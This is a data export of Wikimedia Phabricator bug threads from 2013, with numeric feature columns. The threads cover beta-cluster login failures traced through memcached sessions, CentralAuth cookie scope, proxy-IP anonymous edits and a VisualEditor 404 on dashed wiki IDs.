After a quick test revert, turns out my CA changes are not the culprit. Maybe, Varnish not letting cookies through? CC Mark.",,,1374701338,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-wsyuomejiy425vjowzno,task_subcomment,,True,c2,1,False,,,-5,True,0.0,0.0,0.0,0.0,5.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,3.0,13.0,11.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.4473684210526314,0.9210526315789473,"(In reply to comment #4)
QUOTE

After a quick test revert, turns out my CA changes are not the culprit. Maybe, Varnish not letting cookies through? CC Mark."
255147,login broken on beta labs,possibly caused by https://gerrit.wikimedia.org/r/#/c/75772/ ?,,,1374699529,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-wsyuomejiy425vjowzno,task_subcomment,,True,c2,1,False,,,-5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,possibly caused by URL ?
255144,login broken on beta labs,"I have restarted both memcached daemon on apache32 and apache33. Did not solve the issue :-]

Sessions should be in memcached:

$wgObjectCaches['sessions'] = $wgObjectCaches['memcached-pecl'];


hashar@deployment-bastion:~$ mwscript eval.php --wiki=enwiki
> var_dump( $wgObjectCaches['sessions'] );
array(1) {
  [""class""]=>
  string(22) ""MemcachedPeclBagOStuff""
}



Not sure what is happening.  Need to rush out to bed right now.",,,1374698702,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-wsyuomejiy425vjowzno,task_subcomment,,True,c2,1,True,,,-5,True,0.0,0.0,0.0,0.0,2.0,4.0,1.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,5.0,6.0,0.0,1.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,9.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,6.0,4.0,0.0,6.0,0.0,1.0,0.0,1.0,0.0,0.0,2.0,0.0,1.0,4.0,4.329268292682927,0.8048780487804879,"I have restarted both memcached daemon on apache32 and apache33. Did not solve the issue :-]

Sessions should be in memcached:

$wgObjectCaches['sessions'] = $wgObjectCaches['memcached-pecl'];


hashar@deployment-bastion:~$ mwscript eval.php --wiki=enwiki
QUOTE
array(1) {
  [""class""]=>
  string(22) ""MemcachedPeclBagOStuff""
}



Not sure what is happening.  Need to rush out to bed right now."
255140,login broken on beta labs,"Maybe the session are wrong in memcached ,

When login in:

tail -f /data/project/logs/web.log|fgrep enwiki|fgrep -i memcached


enwiki-36e3721b: 0.6819   9.8M  [memcached] get(enwiki:session:5dddf3cc93c79d70ea83c31b98a7c4d0)
enwiki-36e3721b: 0.6823   9.8M  [memcached] result: NOT FOUND
enwiki-36e3721b: 0.8519  18.2M  [memcached] set(enwiki:session:5dddf3cc93c79d70ea83c31b98a7c4d0)
enwiki-f1d77f0c: 0.2077   6.8M  CACHES: MemcachedPhpBagOStuff[main] MemcachedPhpBagOStuff[message] MemcachedPhpBagOStuff[parser]
enwiki-f1d77f0c: 0.2294   9.8M  MemcachedPeclBagOStuff::__construct: persistent Memcached object already loaded.
enwiki-f1d77f0c: 0.2295   9.8M  [memcached] get(enwiki:session:556d9a1698a968752c7f7c5fb5cdd699)
enwiki-f1d77f0c: 0.2298   9.8M  [memcached] result: NOT FOUND
enwiki-f1d77f0c: 0.3549  18.2M  [memcached] set(enwiki:session:556d9a1698a968752c7f7c5fb5cdd699)


hashar@deployment-bastion:~$ mwscript mcc.php --wiki=enwiki
> get enwiki:session:5dddf3cc93c79d70ea83c31b98a7c4d0
Getting enwiki:session:5dddf3cc93c79d70ea83c31b98a7c4d0[]
MemCached error
> get enwiki:session:556d9a1698a968752c7f7c5fb5cdd699
Getting enwiki:session:556d9a1698a968752c7f7c5fb5cdd699[]
wsLoginToken|s:32:""c722cabf4aefd1XXXXXXXXX"";
> 


The memcached error is weird.",,,1374698291,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-wsyuomejiy425vjowzno,task_subcomment,,True,c2,1,True,,,-5,True,0.0,0.0,0.0,0.0,0.6666666666666666,3.6666666666666665,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,1.6666666666666667,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.6666666666666666,10.666666666666666,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,6.333333333333333,0.0,0.0,0.6666666666666666,12.333333333333334,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,1.0,0.0,0.0,7.666666666666667,5.497512437810944,0.5472636815920398,"Maybe the session are wrong in memcached ,

When login in:

tail -f /data/project/logs/web.log|fgrep enwiki|fgrep -i memcached


enwiki-36e3721b: 0.6819   9.8M  [memcached] get(enwiki:session:5dddf3cc93c79d70ea83c31b98a7c4d0)
enwiki-36e3721b: 0.6823   9.8M  [memcached] result: NOT FOUND
enwiki-36e3721b: 0.8519  18.2M  [memcached] set(enwiki:session:5dddf3cc93c79d70ea83c31b98a7c4d0)
enwiki-f1d77f0c: 0.2077   6.8M  CACHES: MemcachedPhpBagOStuff[main] MemcachedPhpBagOStuff[message] MemcachedPhpBagOStuff[parser]
enwiki-f1d77f0c: 0.2294   9.8M  MemcachedPeclBagOStuff::__construct: persistent Memcached object already loaded.
enwiki-f1d77f0c: 0.2295   9.8M  [memcached] get(enwiki:session:556d9a1698a968752c7f7c5fb5cdd699)
enwiki-f1d77f0c: 0.2298   9.8M  [memcached] result: NOT FOUND
enwiki-f1d77f0c: 0.3549  18.2M  [memcached] set(enwiki:session:556d9a1698a968752c7f7c5fb5cdd699)


hashar@deployment-bastion:~$ mwscript mcc.php --wiki=enwiki
QUOTE
Getting enwiki:session:5dddf3cc93c79d70ea83c31b98a7c4d0[]
MemCached error
QUOTE
Getting enwiki:session:556d9a1698a968752c7f7c5fb5cdd699[]
wsLoginToken|s:32:""c722cabf4aefd1XXXXXXXXX"";
QUOTE


The memcached error is weird."
255136,login broken on beta labs,"Adding last two authors in https://git.wikimedia.org/log/mediawiki%2Fextensions%2FCentralAuth/HEAD

Aaron/Ori: Think either of your changes caused this on beta?",,,1374696892,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-wsyuomejiy425vjowzno,task_subcomment,,True,c2,1,False,,,-5,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,14.0,14.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.7142857142857144,1.0,"Adding last two authors in URL

Aaron/Ori: Think either of your changes caused this on beta?"
53862,Some anonymous edits appearing under caching proxy IP address (ssl),"https://en.wikipedia.org/wiki/Wikipedia:Village_pump_(technical)#IP_editor_in_ur_base_killin_ur_d00dz

https://en.wikipedia.org/wiki/Special:Contributions/208.80.154.75

https://en.wikipedia.org/wiki/Special:Contributions/208.80.154.76

These are ssl1005 & ssl1006. Edits from 23 July (today). Similar bug 48919 has been resolved.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1374574860,1374576523.0,PHID-USER-x7g37sf6tkkrewspco2q,False,,False,PHID-TASK-gsc3rgw46thtrp35vnz3,task_description,resolved,True,c2,1,False,False,True,-6,True,0.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,20.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.6444444444444445,"URL

URL

URL

These are ssl1005 & ssl1006. Edits from 23 July (today). Similar bug 48919 has been resolved.

--------------------------
**Version**: unspecified
**Severity**: normal"
247937,Some anonymous edits appearing under caching proxy IP address (ssl),Fixed in https://gerrit.wikimedia.org/r/#/c/75318/,,,1374576523,,PHID-USER-hovi6c77qompv5qd7gtz,False,,,PHID-TASK-gsc3rgw46thtrp35vnz3,task_subcomment,,True,c2,1,False,,,-6,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,Fixed in URL
53644,centralauth_Token only set for local wiki on login,"When a user logs in, and they have checked ""Keep me logged in"", and they have a global user, the centralauth_Token cookie is only set for the wiki where they are logging in. It is not set for loginwiki, or any of the other SUL wikis.

So the user will be logged out of all the other SUL wikis except the one where they logged in, if they close their browser and then return.

I think we should also set it on loginwiki, so that they will be logged in centrally for 30 days. Other attached wikis can rely on the login check to log them in.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1374189480,1374535077.0,PHID-USER-doeppszazlm3r7xah4il,False,,False,PHID-TASK-azivfykm3othfgrat3g7,task_description,resolved,True,c2,1,True,False,True,-6,True,1.0,0.0,0.0,2.0,0.5,3.5,0.0,0.0,0.0,0.5,3.5,0.0,0.0,0.5,0.0,2.0,0.0,5.5,11.5,0.0,0.5,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.5,1.0,0.0,4.5,2.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,6.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,0.0,1.5,0.0,0.5,1.0,0.0,0.0,4.5,2.5,6.0,4.5,2.0,5.5,0.0,0.0,0.0,0.0,4.5,0.0,0.5,0.0,8.0,11.5,5.0,0.0,1.0,0.0,8.0,0.0,1.5,1.0,1.0,0.5,0.0,0.0,0.0,3.6142857142857143,0.6714285714285715,"When a user logs in, and they have checked ""Keep me logged in"", and they have a global user, the centralauth_Token cookie is only set for the wiki where they are logging in. It is not set for loginwiki, or any of the other SUL wikis.

So the user will be logged out of all the other SUL wikis except the one where they logged in, if they close their browser and then return.

I think we should also set it on loginwiki, so that they will be logged in centrally for 30 days. Other attached wikis can rely on the login check to log them in.

--------------------------
**Version**: unspecified
**Severity**: normal"
235678,centralauth_Token only set for local wiki on login,Deployed.,,,1374535077,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-azivfykm3othfgrat3g7,task_subcomment,,True,c2,1,True,,,-6,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,Deployed.
235675,centralauth_Token only set for local wiki on login,"Change 75262 merged by Anomie:
Update CentralAuth to fix bug 51644

https://gerrit.wikimedia.org/r/75262",,,1374534211,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-azivfykm3othfgrat3g7,task_subcomment,,True,c2,1,False,,,-6,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,0.0,0.0,13.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.6,1.0,"Change 75262 merged by Anomie:
Update CentralAuth to fix bug 51644

GERRIT_URL"
235671,centralauth_Token only set for local wiki on login,"Change 75261 merged by Anomie:
Update CentralAuth to fix bug 51644

https://gerrit.wikimedia.org/r/75261",,,1374534204,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-azivfykm3othfgrat3g7,task_subcomment,,True,c2,1,False,,,-6,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,0.0,0.0,13.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.6,1.0,"Change 75261 merged by Anomie:
Update CentralAuth to fix bug 51644

GERRIT_URL"
235667,centralauth_Token only set for local wiki on login,"Change 75262 had a related patch set uploaded by Anomie:
Update CentralAuth to fix bug 51644

https://gerrit.wikimedia.org/r/75262",,,1374534090,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-azivfykm3othfgrat3g7,task_subcomment,,True,c2,1,False,,,-6,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,25.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,"Change 75262 had a related patch set uploaded by Anomie:
Update CentralAuth to fix bug 51644

GERRIT_URL"
235662,centralauth_Token only set for local wiki on login,"Change 75261 had a related patch set uploaded by Anomie:
Update CentralAuth to fix bug 51644

https://gerrit.wikimedia.org/r/75261",,,1374534076,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-azivfykm3othfgrat3g7,task_subcomment,,True,c2,1,False,,,-6,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,25.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,"Change 75261 had a related patch set uploaded by Anomie:
Update CentralAuth to fix bug 51644

GERRIT_URL"
235655,centralauth_Token only set for local wiki on login,"Change 75251 merged by jenkins-bot:
Have Special:CentralAutoLogin honor ""Keep me logged in""

https://gerrit.wikimedia.org/r/75251",,,1374529209,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-azivfykm3othfgrat3g7,task_subcomment,,True,c2,1,False,,,-6,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,9.0,14.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,4.2272727272727275,0.9090909090909091,"Change 75251 merged by jenkins-bot:
Have Special:CentralAutoLogin honor ""Keep me logged in""

GERRIT_URL"
235648,centralauth_Token only set for local wiki on login,"Change 75251 had a related patch set uploaded by Anomie:
Have Special:CentralAutoLogin honor ""Keep me logged in""

https://gerrit.wikimedia.org/r/75251",,,1374529157,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-azivfykm3othfgrat3g7,task_subcomment,,True,c2,1,False,,,-6,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,28.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,8.0,12.0,0.0,8.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.36,0.92,"Change 75251 had a related patch set uploaded by Anomie:
Have Special:CentralAutoLogin honor ""Keep me logged in""

GERRIT_URL"
235640,centralauth_Token only set for local wiki on login,"Change is merged now, but leaving this open for the moment since this should probably be backported to wmf10 and wmf11, instead of waiting for wmf12.",,,1374523927,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-azivfykm3othfgrat3g7,task_subcomment,,True,c2,1,True,,,-6,True,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,17.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,3.0,3.0,7.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.275862068965517,0.896551724137931,"Change is merged now, but leaving this open for the moment since this should probably be backported to wmf10 and wmf11, instead of waiting for wmf12."
235631,centralauth_Token only set for local wiki on login,"Change 74682 merged by jenkins-bot:
Have Special:CentralAutoLogin honor ""Keep me logged in""

https://gerrit.wikimedia.org/r/74682",,,1374522824,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-azivfykm3othfgrat3g7,task_subcomment,,True,c2,1,False,,,-6,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,9.0,14.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,4.2272727272727275,0.9090909090909091,"Change 74682 merged by jenkins-bot:
Have Special:CentralAutoLogin honor ""Keep me logged in""

GERRIT_URL"
235624,centralauth_Token only set for local wiki on login,"(In reply to comment #1)
> I remember this has been working before.
> Why was this changed in the first place?

Considering that all the auto-login logic and a fair bit of the regular login logic had to be rewritten, and in fact were rewritten several times during the development process as constraints shifted, chances are it was accidental.",,,1374267288,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-azivfykm3othfgrat3g7,task_subcomment,,True,c2,1,True,,,-6,True,4.0,0.0,0.0,5.0,0.0,7.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,14.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,2.0,4.0,9.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,2.0,14.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.071428571428571,0.8214285714285714,"(In reply to comment #1)
QUOTE
QUOTE

Considering that all the auto-login logic and a fair bit of the regular login logic had to be rewritten, and in fact were rewritten several times during the development process as constraints shifted, chances are it was accidental."
235620,centralauth_Token only set for local wiki on login,"Change 74682 had a related patch set uploaded by Anomie:
Have Special:CentralAutoLogin honor ""Keep me logged in""

https://gerrit.wikimedia.org/r/74682",,,1374266656,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-azivfykm3othfgrat3g7,task_subcomment,,True,c2,1,False,,,-6,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,28.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,8.0,12.0,0.0,8.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.36,0.92,"Change 74682 had a related patch set uploaded by Anomie:
Have Special:CentralAutoLogin honor ""Keep me logged in""

GERRIT_URL"
235616,centralauth_Token only set for local wiki on login,"I remember this has been working before.
Why was this changed in the first place?",,,1374235400,,PHID-USER-yhujnd4weqzxkjnpve64,False,,,PHID-TASK-azivfykm3othfgrat3g7,task_subcomment,,True,c2,1,False,,,-6,True,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,11.0,11.0,6.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,3.7777777777777777,0.9444444444444444,"I remember this has been working before.
Why was this changed in the first place?"
52173,VisualEditor doesn't work in be-x-old.wikipedia.org (parsoidserver-http-bad-status: 404),"**Author:** `p.selitskas`

**Description:**
Dash-to-underscore conversion is frucked up yet again?

When ""Edit"" is clicked, an API request is issued with params:
action:visualeditor
paction:parse
page:Новая_зямля
oldid:1630719
token:[screened]
format:json

Response: {""servedby"":""mw1141"",""error"":{""code"":""parsoidserver-http-bad-status"",""info"":""404""}}

VE works at be.wikipedia.org, but it doesn't work at be-x-old.wikipedia.org, bat-smg.wikipedia.org, and maybe other sites with dash in the site ID.

--------------------------
**Version**: unspecified
